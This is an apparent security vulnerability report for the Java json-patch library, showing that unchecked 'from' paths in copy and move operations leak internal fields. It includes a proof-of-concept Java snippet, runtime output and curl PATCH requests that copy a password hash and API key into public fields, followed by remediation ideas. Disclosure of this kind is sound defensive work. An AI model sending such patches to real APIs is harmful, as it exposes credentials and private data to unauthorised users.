[Security] Unrestricted Copy/Move Operations Enable Intra-Document Data Exfiltration #170

Security Vulnerability Report

Metadata

Summary

The copy and move operations in JSON Patch accept any from path without access control validation. An attacker can use copy to read values from internal/sensitive fields and write them to user-visible locations, effectively exfiltrating data that should not be accessible. The library provides no mechanism to restrict which paths can be used as from sources.

Root Cause

// src/main/java/com/github/fge/jsonpatch/CopyOperation.java:57
@Override
public JsonNode apply(final JsonNode node) throws JsonPatchException {
    final JsonNode dupData = path.path(node).resolve(from, node).deepCopy();
    // 'from' is entirely user-controlled — no access control check!
    return new AddOperation(path, dupData).apply(node);
}

The from field is taken directly from user input. No validation checks whether the caller should have read access to the source path. Any field in the document — including internal, system, or privileged fields — can be copied to a user-visible location.

Proof of Concept

Runtime verified on VM with OpenJDK 21:

--- Test 6: Copy Operation Data Exfiltration ---
Original: {"public":{"name":"Alice"},"internal":{"passwordHash":"$2b$10$secret","apiKey":"sk-12345"}}
After patch: {"public":{"name":"Alice","bio":"$2b$10$secret","website":"sk-12345"},"internal":{"passwordHash":"$2b$10$secret","apiKey":"sk-12345"}}
VULNERABLE: Copied internal fields to public (bio=$2b$10$secret)

Minimal reproduction:

import com.github.fge.jsonpatch.JsonPatch;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;

ObjectMapper mapper = new ObjectMapper();

// Server-side document with public and internal sections
JsonNode document = mapper.readTree(
    "{\"public\":{\"name\":\"Alice\"},\"internal\":{\"passwordHash\":\"$2b$10$secret\",\"apiKey\":\"sk-12345\"}}");

// Attacker-supplied patch: copy internal secrets to public-visible fields
JsonNode patchNode = mapper.readTree("[" +
    "{\"op\":\"copy\",\"from\":\"/internal/passwordHash\",\"path\":\"/public/bio\"}," +
    "{\"op\":\"copy\",\"from\":\"/internal/apiKey\",\"path\":\"/public/website\"}" +
    "]");

JsonPatch patch = JsonPatch.fromJson(patchNode);
JsonNode result = patch.apply(document);

// result.public.bio = "$2b$10$secret" (password hash exfiltrated!)
// result.public.website = "sk-12345" (API key exfiltrated!)
// If the API returns the public section to the user, secrets are exposed.

Attack scenario:

# Attacker with role=viewer, can only see /public fields in API response
curl -X PATCH 'https://target.com/api/users/me' \
  -H "Authorization: Bearer viewer_token" \
  -H "Content-Type: application/json-patch+json" \
  -d '[
    {"op":"copy","from":"/internal/passwordHash","path":"/public/bio"},
    {"op":"copy","from":"/internal/apiKey","path":"/public/website"}
  ]'

# GET response only returns /public section:
curl 'https://target.com/api/users/me'
# {"public":{"name":"Alice","bio":"$2b$10$secret","website":"sk-12345"}}
# Attacker now has the password hash and API key!

RFC 6902 Compliance Note

This behavior is compliant with RFC 6902 Section 4.5 (Copy). However:

1. The library provides no access control callback for the from field
2. No mechanism exists to restrict which paths are readable via copy/move
3. The library does not document that from is a read-access vector requiring authorization
4. In field-level-access-controlled applications (multi-tenant, API partial responses), this is a real data exfiltration vector

Impact

• Credential exfiltration: Password hashes, API keys, tokens copied to visible fields
• Cross-tenant data access: In multi-tenant documents, copy from another tenant's section
• PII exposure: Internal fields (SSN, medical records) copied to public-facing fields
• Affects: All applications with field-level access control that apply user-supplied JSON Patch

Suggested Remediation

1. Add a path-access-control callback interface:

public interface PatchPathAccessControl {
    boolean canRead(JsonPointer from, Object context);
    boolean canWrite(JsonPointer path, Object context);
}

// Usage:
JsonPatch.builder()
    .accessControl(new MyAccessControl())
    .build(patchNode)
    .apply(document);

2. Add a from path restriction option:

JsonPatch.builder()
    .allowedFromPaths("/public/**")  // Only public fields can be copy sources
    .build(patchNode);

3. Document the risk prominently:

WARNING: The "from" field in copy/move operations is a read-access vector.
Applications with field-level access control MUST validate "from" paths
against the caller's read permissions before applying patches.

References

• RFC 6902 Section 4.5 (Copy): https://www.rfc-editor.org/rfc/rfc6902#section-4.5
• CWE-639: https://cwe.mitre.org/data/definitions/639.html
• Related: Issue [Security] Mass Assignment via Empty-Path Add Operation Enables Full Document Replacement #169 (Mass Assignment via empty-path add — same library, different vector)